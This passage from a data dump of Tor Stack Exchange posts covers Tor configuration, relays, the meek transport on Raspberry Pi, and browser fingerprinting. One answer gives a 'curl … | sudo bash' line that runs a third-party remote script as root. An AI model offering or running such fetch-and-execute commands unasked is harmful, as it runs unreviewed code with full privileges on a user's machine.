LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-04-05T00:08:27.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6570" PostTypeId="2" ParentId="6558" CreationDate="2015-04-05T00:13:08.320" Score="1" Body="&lt;p&gt;This probably means there's an issue with your port forwarding configuration.  More information here would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What Router do you have?&lt;/li&gt;&#xA;&lt;li&gt;Can you explicitly say what you edited to configure port forwarding? What changes you made?&lt;/li&gt;&#xA;&lt;li&gt;Are you sure you're forwarding the ports on the correct internal IP (the IP of whatever computer is running your relay?).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Zach&lt;/p&gt;&#xA;" OwnerUserId="7124" LastActivityDate="2015-04-05T00:13:08.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6571" PostTypeId="1" CreationDate="2015-04-05T12:00:25.070" Score="5" ViewCount="5636" Body="&lt;p&gt;I'm trying to set my location permanently by adding &lt;code&gt;ExitNodes {US}&lt;/code&gt; but this doesn't work in the Orbot app on Android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this line has to be added at the end of the &lt;code&gt;torrc&lt;/code&gt; file, I'm wondering if adding it via the settings in the app is doing that.&lt;/p&gt;&#xA;" OwnerUserId="7128" LastEditorUserId="88" LastEditDate="2015-04-08T16:14:25.430" LastActivityDate="2022-03-22T21:06:15.743" Title="Editing torrc on Orbot" Tags="|configuration|orbot|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6573" PostTypeId="1" AcceptedAnswerId="6586" CreationDate="2015-04-05T20:06:13.393" Score="0" ViewCount="90" Body="&lt;p&gt;Is it possible to run a Tor Hidden Service with remote assets, i.e. files, databases, etc?  Would such a setup decrease the security and anonymity of the service?  Would the remote assets also need to be within hidden services?&lt;/p&gt;&#xA;" OwnerUserId="7131" LastEditorUserId="7131" LastEditDate="2015-04-06T15:25:55.063" LastActivityDate="2015-04-06T17:07:28.537" Title="Can a Tor Hidden Service be run safely with remote assets?" Tags="|onion-services|torcheck|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6575" PostTypeId="2" ParentId="6558" CreationDate="2015-04-06T00:25:49.833" Score="4" Body="&lt;p&gt;Since my IP is dynamic (and Tor couldn't figure out my IP) I had to create a Dynamic DNS and used that in the Address field in torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I did that both DirPort and ORPort were able to establish connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a Dynamic DNS from &lt;a href=&quot;https://www.dnsexit.com/Direct.sv?cmd=freeSub&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnsexit&lt;/a&gt;, the additional options were taken from &lt;a href=&quot;https://www.dd-wrt.com/phpBB2/viewtopic.php?p=919601&amp;amp;sid=2834fa5f4dc9e59b97d568ca4f5f69d7#919601&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; on the DD-WRT forums. They are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--verbose 5 --update_period_sec 43200 --ip_server_name checkip.ns.zerigo.com /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example settings screenshot for DD-WRT:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jAbkG.png&quot; alt=&quot;DynamicDNS screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7062" LastEditorUserId="7062" LastEditDate="2015-05-28T07:05:37.343" LastActivityDate="2015-05-28T07:05:37.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6577" PostTypeId="1" CreationDate="2015-04-06T04:02:40.323" Score="1" ViewCount="746" Body="&lt;p&gt;I use Tor Browser. At times I want to connect directly without Tor or any other proxy in Firefox. Can I turn off Tor and use Firefox only? (Tor button used to do something like this as far as I remember, but now it doesn't seem to do it.)&lt;/p&gt;&#xA;" OwnerUserId="3011" LastActivityDate="2017-06-11T10:40:02.610" Title="Using Firefox without Tor" Tags="|tor-browser-bundle|firefox|tor-button|" AnswerCount="2" CommentCount="0" ClosedDate="2017-06-15T20:15:01.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="6578" PostTypeId="2" ParentId="4582" CreationDate="2015-04-06T04:13:50.260" Score="1" Body="&lt;p&gt;in the directions on their site they tell you to click the link on this page (&lt;a href=&quot;https://cloud.torproject.org/#get_started&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/#get_started&lt;/a&gt;) to the correct AMI images (us-east-1-virginia)... this is a ubuntu with the tor config stuff already to go (Tor-Cloud-EC2--us-east-1-04-13-2013-20616 - ami-4a7c1a23)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as far as your last question it is not so much on trust or encryption but anonymity of the traffic. because the request packet is bounced around inside the tor network and no packet contains a map of who it came from and where the end goal is.. there is little chance you can map the person with the packet from the entrance node to the exit node. once it exits the traffic is not encrypted .. you just cant tell who created it. now if you do something like use a tor network but then request a page to login to then that maybe traceable as the user account name can be mapped to you. they dont really care what ip it came from.&lt;/p&gt;&#xA;" OwnerUserId="7133" LastActivityDate="2015-04-06T04:13:50.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6582" PostTypeId="1" AcceptedAnswerId="6715" CreationDate="2015-04-06T13:37:23.983" Score="1" ViewCount="154" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges#RunningABridge&quot; rel=&quot;nofollow&quot;&gt;Running a Tor Bridge&lt;/a&gt; recommends using port 443 and even when running a bridge using a pluggable transport an open (non-transport) bridge port seems to be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming someone runs obfs4 and a censored user connects to it. A system like the Great Firewall would probably not be able to find that the user connects to the Tor network by just looking at the traffic, but it could easily scan for the non-pluggable transport on port 443 or a predefined range. These days there are really efficient tools to do such scans on a very large scale. An attacker using a certain rule set to determine whether such an attack is feasible/the use of Tor is likely could reduce the resources required for such an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question here is whether this is correct and if so whether there are plans to mitigate such an attack.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-04-24T08:37:47.580" Title="How do bridges defend themselves against targeted scans?" Tags="|security|relays|attacks|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6583" PostTypeId="2" ParentId="6557" CreationDate="2015-04-06T13:46:45.530" Score="1" Body="&lt;p&gt;It may be related to your optical drive. If you are booting from a DVD then that might be the limiting factor. You may want to try &lt;a href=&quot;https://tails.boum.org/doc/first_steps/installation/index.de.html&quot; rel=&quot;nofollow&quot;&gt;using a USB stick&lt;/a&gt;, which should be way faster than a spinning disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A specific reason could be that the laser inside your Mac Book is better/less dusty or that the CD you used has better compatibility with it.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2015-04-06T14:18:14.480" LastActivityDate="2015-04-06T14:18:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6584" PostTypeId="2" ParentId="6538" CreationDate="2015-04-06T13:56:25.127" Score="4" Body="&lt;p&gt;I've built meek-client for RPi and RPi 2 at &lt;a href=&quot;https://github.com/bbs4us/meek-client-pi&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and I altered the provided install script a bit at &lt;a href=&quot;https://github.com/bbs4us/onion_pi&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to automatically install meek-client and use meek-amazon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install via&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl -fsSL https://raw.github.com/bbs4us/onion_pi/master/setup.sh | sudo bash&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7136" LastEditorUserId="7136" LastEditDate="2015-04-07T04:45:57.990" LastActivityDate="2015-04-07T04:45:57.990" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6585" PostTypeId="2" ParentId="6577" CreationDate="2015-04-06T14:10:16.157" Score="2" Body="&lt;p&gt;You should probably install a regular version of Firefox and use the Tor Browser for when you want to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has various benefits. The Tor Browser Bundle includes a version of Firefox that is a fork, which means it has a modified source code in order to increase your privacy/anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser is run highly separated. You can run the Tor Browser and a regular Firefox instance at the same time. The configuration is completely separate. This prevents you from leaking information that would allow an attacker to determine who you are, even when using Firefox with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you also shouldn't use any other plugins (Flash, Java, ...) or Firefox Add-ons in order to not accidentally leak information on who you are it is way safer to use both the Tor Browser and Firefox as separate instances.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-04-06T14:10:16.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6586" PostTypeId="2" ParentId="6573" CreationDate="2015-04-06T17:07:28.537" Score="0" Body="&lt;p&gt;For remote assets on the client/browser side, like javascript (which you might want to avoid in first place, though, as many people will probably want to disable JavaScript when using Tor), CSS, etc. you might, in the interest of your users consider to also have them inside Tor, maybe provided the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For databases, etc.: It would probably make sense to either keep them on the same server, not allowing connections from Tor/the internet in general. Else, for example when you have a hidden service running on one server and another server with the DB it might make it possible/easier to correlate this traffic with your hidden service. You should at least make sure any such connections are encrypted, but you should do that either way, even when not using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using external services for either of these might however reveal your identity. For example an external JavaScript that somehow communicates with the hidden service, that wasn't created by you might be modified in a way that tried to reveal your identity. For databases, etc. you of course need to trust the provider/administrator to not use it to reveal your identity as you will most likely use a non-tor location. For latency reasons using another hidden service there might not be an option. However if you really control that other server and make sure that the connections are encrypted (probably create a VPN between them?) you should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you create such a setup you really want to double check that there are only authorized connections possible. So for example use a VPN and make the database bind to the IP of that VPN only. As usual multiple layers of security (firewall, VPN, ACL, ..) might increase your security.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-04-06T17:07:28.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6587" PostTypeId="1" CreationDate="2015-04-06T17:11:11.443" Score="2" ViewCount="2092" Body="&lt;p&gt;I recently downloaded Tor 4.0 on Windows 7 (64 bit) but whenever I try to start Tor browser, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;firefox.exe - Application Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The application was unable to start correctly (0xc0000022). Click OK&#xA;  to close the application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I get Tor to start?&lt;/p&gt;&#xA;" OwnerUserId="7139" LastEditorUserId="88" LastEditDate="2015-04-06T19:27:52.797" LastActivityDate="2018-11-02T00:00:54.707" Title="Error message &quot;The application was unable to start correctly (0xc0000022).&quot; whenever I try to open Tor" Tags="|tor-browser-bundle|firefox|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6588" PostTypeId="1" CreationDate="2015-04-06T17:14:28.613" Score="4" ViewCount="3203" Body="&lt;p&gt;I tried to logon on to Ebay but it refuses to allow me to login to my account. I sign in with my username and pw, but then it immediately logs out.  Is this the result of Ebay blocking the Tor browser, or am is this Tor blocking some security flaw in the Ebay site?&lt;/p&gt;&#xA;" OwnerUserId="7140" LastEditorUserId="88" LastEditDate="2015-04-06T19:26:29.183" LastActivityDate="2016-05-18T17:39:49.913" Title="Tor Browser keeps kicking me off Ebay" Tags="|blocked-services|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6589" PostTypeId="1" AcceptedAnswerId="6591" CreationDate="2015-04-05T20:47:57.247" Score="6" ViewCount="863" Body="&lt;p&gt;Tor software recommends to use its own modified Firefox browser to get complete anonymity. I want to do same modifications in Firefox by myself. I have noticed following changes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Tor proxy settings.  &lt;/li&gt;&#xA;&lt;li&gt;Use Tor remote dns resolution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What are all other changes so that I am able to replicate Tor browser in default Firefox browser?&lt;/p&gt;&#xA;" OwnerUserId="677" OwnerDisplayName="Shashwat Kumar" LastEditorDisplayName="user66" LastEditDate="2015-04-07T20:12:57.127" LastActivityDate="2015-04-25T12:55:03.297" Title="What are the changes made to Firefox in the TBB?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6590" PostTypeId="2" ParentId="6589" CreationDate="2015-04-05T21:50:06.823" Score="1" Body="&lt;p&gt;Actually, that looks like it's about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look under &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;TOR's how to TORify,&lt;/a&gt; it looks like you're using the first listed solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Classical / common way: use the application's proxy settings&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Advantages:  Does not need third party software (wrapper) Only a few&#xA;  proxy settings needed, sometimes a few more settings like 'use remote&#xA;  DNS' are required Disadvantages:  Each application has to be checked&#xA;  and configured against DNS leaks The application is not forced to&#xA;  honor the proxy settings. Some applications such as Skype and&#xA;  BitTorrent do not care what the proxy settings are and use direct&#xA;  connections anyway. Also once the application is infected, it's not&#xA;  forced to honor the application settings&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It also looks like you'll have to leave TOR open (though not the modified browser, just the program that routes your information).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That &lt;em&gt;should&lt;/em&gt; do it, but to double check, I'd run a test at &lt;a href=&quot;https://www.dnsleaktest.com/&quot; rel=&quot;nofollow&quot;&gt;DNS leak test&lt;/a&gt;, and &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;check TOR project&lt;/a&gt; in order to make sure that you're not leaking anything. Of course, this is assuming that you don't have any cookies or anything that could leak information on firefox and that you're not using it for anything other than over TOR, and are wiping all data after you're done.&lt;/p&gt;&#xA;" OwnerDisplayName="Cyrus Roshan" LastActivityDate="2015-04-05T21:50:06.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6591" PostTypeId="2" ParentId="6589" CreationDate="2015-04-06T00:04:07.963" Score="2" Body="&lt;p&gt;There are source level changes to FireFox, thanks to Yawning for correcting this &lt;a href=&quot;https://tor.stackexchange.com/a/6718/3731&quot;&gt;here&lt;/a&gt;.  I'll add a caveat to this answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I previously &lt;em&gt;believed&lt;/em&gt; the FireFox in TBB differs from stock FireFox  though FireFox configuration, add-ons, and add-ons configuration.  We can explore the add-ons : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At minimum, you should install &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPS Everywhere&lt;/a&gt; because malicious exit nodes can sniff traffic leaving the Tor network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally TBB comes with a specially configured &lt;a href=&quot;https://noscript.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NoScript&lt;/a&gt;.  I'd install NoScript but copy over the TBB's NoScript config files.  Afaik, TBB's NoScript is much milder than default NoScript, so that TBB works with sites that NoScript breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, TBB has a &lt;a href=&quot;https://www.torproject.org/docs/torbutton/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torbutton&lt;/a&gt; extension that &quot;disables many types of active content&quot;, which sounds worth installing.  I donno if Torbutton merely adjusts NoScript's configuration or if it plays a more active role. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might read &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Chrome Incognito Mode, Tor, and Fingerprinting&lt;/a&gt; too because that describes shortcomings in the Chrome browser that prevent the TBB extensions from working securely enough.  I've just asked about &lt;a href=&quot;https://tor.stackexchange.com/questions/6574/is-there-a-web-proxy&quot;&gt;using Chrome through a web proxy&lt;/a&gt; on Tor.SE, which might net some interesting answers too.&lt;/p&gt;&#xA;" OwnerUserId="3731" OwnerDisplayName="Jeff Burdges" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-04-25T12:55:03.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6592" PostTypeId="2" ParentId="6588" CreationDate="2015-04-07T04:37:36.800" Score="2" Body="&lt;p&gt;There are a few reasons why you may not be able to log in to a website with tor browser. The three main ones would be&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The site might specifically be blocking tor users from logging in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The login might require javascript, flash, or some form of cookie that the tor browser bundle has disabled for security reasons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The site rate limits requests or logins by ip address. Since ebay is a popular website and all ebay users exiting from the same tor node appear to have the same ip address, ebay might be blocking all but 10 requests per minute (for example).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1172" LastEditorDisplayName="user66" LastEditDate="2015-04-07T14:49:15.623" LastActivityDate="2015-04-07T14:49:15.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6593" PostTypeId="2" ParentId="6548" CreationDate="2015-04-07T04:47:44.047" Score="0" Body="&lt;p&gt;Try turning javascript off. For me, turning javascript on makes me unique and turning it off makes me 1/800 ish.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-04-07T04:47:44.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6596" PostTypeId="2" ParentId="6548" CreationDate="2015-04-07T08:46:47.203" Score="1" Body="&lt;p&gt;I just visited panopticlick with the newest version of Tor browser.&lt;br/&gt;&#xA;The property with the most bits of entropy by far was &quot;Screen Size and Color Depth&quot;.&lt;br/&gt;&#xA;Tor Browser is strange in that this property is very variable; if you resize the browser window or go to full screen mode the value changes. This is not the case with other browsers such as Firefox, where &quot;Screen Size and Color Depth&quot; reflects the resolution of the monitor that the browser is displayed upon.&#xA;I don't know the reasoning behind Tor browser doing this differently, but it it probably the source of your fingerprint's uniqueness.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-04-07T08:46:47.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6597" PostTypeId="1" CreationDate="2015-04-07T09:23:48.823" Score="0" ViewCount="840" Body="&lt;p&gt;&lt;a href=&quot;http://www.hao123.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.hao123.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above mentioned website is taking infinite time to load in the Tor Browser. However if I open it without using Tor, it loads instantaneously. Any guesses why this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can this circuit be debugged in some way using Tor Control Protocol, should browser based debugging be used.&lt;/p&gt;&#xA;" OwnerUserId="7032" LastActivityDate="2015-04-07T09:23:48.823" Title="Why does this website is taking infinite time to load on Tor Broswer?" Tags="|tor-browser-bundle|circuit|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6602" PostTypeId="1" AcceptedAnswerId="6603" CreationDate="2015-04-08T08:51:00.977" Score="3" ViewCount="73" Body="&lt;p&gt;I've been running a middle relay on a Raspberry Pi for some time now. Recently, I switched out my first generation Pi for a 2nd generation model B. I installed Tor on the new Pi and moved the keys accordingly. The relay came up again just fine, and has been functioning without errors since.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one issue, though. On Globe and Atlas, the bandwidth charts for small time intervals remain empty. The longer intervals (i.e. 1 month and above) do show recent data, indicating that the relay &lt;em&gt;is&lt;/em&gt; reporting data &lt;em&gt;sometimes&lt;/em&gt;. It seems as if it's just not doing so often enough. For reference, the concerned relay is &lt;a href=&quot;https://globe.torproject.org/#/relay/E1AF83F60B55F4E53A573D4CCDA2C9A58FEC4ADD&quot; rel=&quot;nofollow&quot;&gt;E1AF83F60B55F4E53A573D4CCDA2C9A58FEC4ADD&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this? &lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-08T10:06:46.567" Title="Relay bandwidth reporting frequency" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6603" PostTypeId="2" ParentId="6602" CreationDate="2015-04-08T09:01:39.340" Score="4" Body="&lt;p&gt;Newer versions of Tor don't report data as accurately anymore, but globe hasn't been updated yet to deal with that. It's nothing to be concerned about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change was introduced in 0.2.5.11 with the following ChangeLog entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;o Minor bugfixes (statistics):&#xA;    - Increase period over which bandwidth observations are aggregated&#xA;      from 15 minutes to 4 hours. Fixes bug 13988; bugfix on 0.0.8pre1.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-04-08T10:06:46.567" LastActivityDate="2015-04-08T10:06:46.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6608" PostTypeId="1" CreationDate="2015-04-08T13:17:41.450" Score="2" ViewCount="1143" Body="&lt;p&gt;Does downloading from a Direct Download (DD) site like Rapidgator through TOR ensures anonymity like browsing any other web site ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there a way to ensure download managers like Mipony connect to the DD sites through Tor ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7153" LastActivityDate="2015-04-08T13:17:41.450" Title="Tor and Direct Download" Tags="|anonymity|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6609" PostTypeId="2" ParentId="6538" CreationDate="2015-04-08T14:45:41.050" Score="1" Body="&lt;p&gt;First check if the binary is executing -  through ssh try running :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/usr/local/bin/meek-client --help &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage of /usr/local/bin/meek-client:&#xA;  -front=&quot;&quot;: front domain name if no front= SOCKS arg&#xA;  -helper=&quot;&quot;: address of HTTP helper (browser extension)&#xA;  -log=&quot;&quot;: name of log file&#xA;  -proxy=&quot;&quot;: proxy URL&#xA;  -url=&quot;&quot;: URL to request if no url= SOCKS arg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, in your torrc change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge meek 0.0.2.0:1&#xA;# Google is blocked in China&#xA;# ClientTransportPlugin meek exec ./meek-client --url=https://meek-reflect.appspot.com/ --front=www.google.com --log meek-client.log&#xA;ClientTransportPlugin meek exec /usr/local/bin/meek-client --url=https://d2zfqthxsdq309.cloudfront.net/ --front=a0.awsstatic.com --l$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge meek 0.0.2.0:1 url=https://meek-reflect.appspot.com/ front=www.google.com&#xA;Bridge meek 0.0.2.0:2 url=https://d2zfqthxsdq309.cloudfront.net/ front=a0.awsstatic.com&#xA;Bridge meek 0.0.2.0:3 url=https://az668014.vo.msecnd.net/ front=ajax.aspnetcdn.com&#xA;ClientTransportPlugin meek exec /usr/loca/bin/meek-client --log /var/log/tor/meek-client.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and try again.&lt;/p&gt;&#xA;" OwnerUserId="7154" LastActivityDate="2015-04-08T14:45:41.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6610" PostTypeId="1" CreationDate="2015-04-08T16:36:57.187" Score="2" ViewCount="52" Body="&lt;p&gt;I downloaded and installed &lt;code&gt;tor-browser-linux64-4.0.7_en-US.tar.xz&lt;/code&gt;. It starts up ok. The browser says it has version 4.0.6, not 4.0.7. Update prompt window pops up after a few minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something is built wrong with this release.&lt;/p&gt;&#xA;" OwnerUserId="7156" LastEditorUserId="88" LastEditDate="2015-04-08T18:29:49.137" LastActivityDate="2015-04-09T18:34:30.583" Title="Something is wrong with Linux 64-bit 4.0.7 build" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6611" PostTypeId="2" ParentId="6610" CreationDate="2015-04-08T18:33:18.503" Score="4" Body="&lt;p&gt;This is a bug in TBB. The developers put out a security update of Tor which TBB developers built into Tor. This issue is discussed in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15637&quot; rel=&quot;nofollow&quot;&gt;bug entry #15637&lt;/a&gt;. This issue is now fixed. If you download version 4.0.8 or later it should not happen.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2015-04-09T18:34:30.583" LastActivityDate="2015-04-09T18:34:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6613" PostTypeId="2" ParentId="6496" CreationDate="2015-04-09T01:54:21.127" Score="3" Body="&lt;p&gt;There is a &lt;code&gt;tor.exe&lt;/code&gt; file in your zip file. Clicking on it may seem to do nothing, but actually it will run under a hidden window. This is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13819&quot; rel=&quot;nofollow noreferrer&quot;&gt;known bug&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See  &lt;a href=&quot;https://tor.stackexchange.com/a/6199/7159&quot;&gt;this answer&lt;/a&gt; for a workaround.&lt;/p&gt;&#xA;" OwnerUserId="7159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-04-09T01:54:21.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6616" PostTypeId="2" ParentId="3782" CreationDate="2015-04-09T12:03:05.513" Score="2" Body="&lt;p&gt;Yes, it is that simple - if you need the space - just delete the folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser is self contained. All its disk activity is contained inside its folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Firefox profile and settings are not affected by the fact that you downloaded or are running the Tor Browser. It doesn't make any changes to your operating system and by default it doesn't store anything about what you did while using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start the Tor Browser, it is the only program that is routed through the Tor network. You can use it alongside Firefox, the web sites that you visit through Firefox wont be routed through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to route another program through the Tor network, while using the Tor Browser, you must manually configure it to use the socks proxy running on port 9150 on 127.0.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in doubt, you can check if you are routed through Tor by visiting &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware, that when you delete files, they leave traces on your disk. That means, that even after you delete the folder, a forensic investigation could find that you at one time had downloaded the Tor Browser, but not how you used it. In contrast, it should find almost everything that you used your standard browser for, even in private mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to counteract that, is to keep the Tor Browser on an usb drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, at minimum try using full disk encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better approach will be to use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; on that usb drive.&lt;/p&gt;&#xA;" OwnerUserId="7154" LastEditorUserId="7154" LastEditDate="2015-04-09T12:15:34.877" LastActivityDate="2015-04-09T12:15:34.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6618" PostTypeId="2" ParentId="6311" CreationDate="2015-04-09T16:57:53.127" Score="1" Body="&lt;p&gt;Let's imagine you want to reach a website. Your tor client gets 3 relays out of list of available ones. After that it shares different decryption/encryption keys with each relay. Then it encrypts the packets 3 times and sends them. Each relay decrypts one layer and exit one can see all data going to the website decrypted as plain text. When your data reaches the website the website sends data back to the exit node again in plain text. Then RELAYS share encryption/decryption keys with you. Exit node encrypts the first time, middle second and entry third time. Then you get the data and you decrypt each layer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah... relays encrypt and decrypt data. Also when the website sends data back to exit node it has some way to link it to middle and middle to entry and entry to you. I don't know how but I hope none of them knows the whole 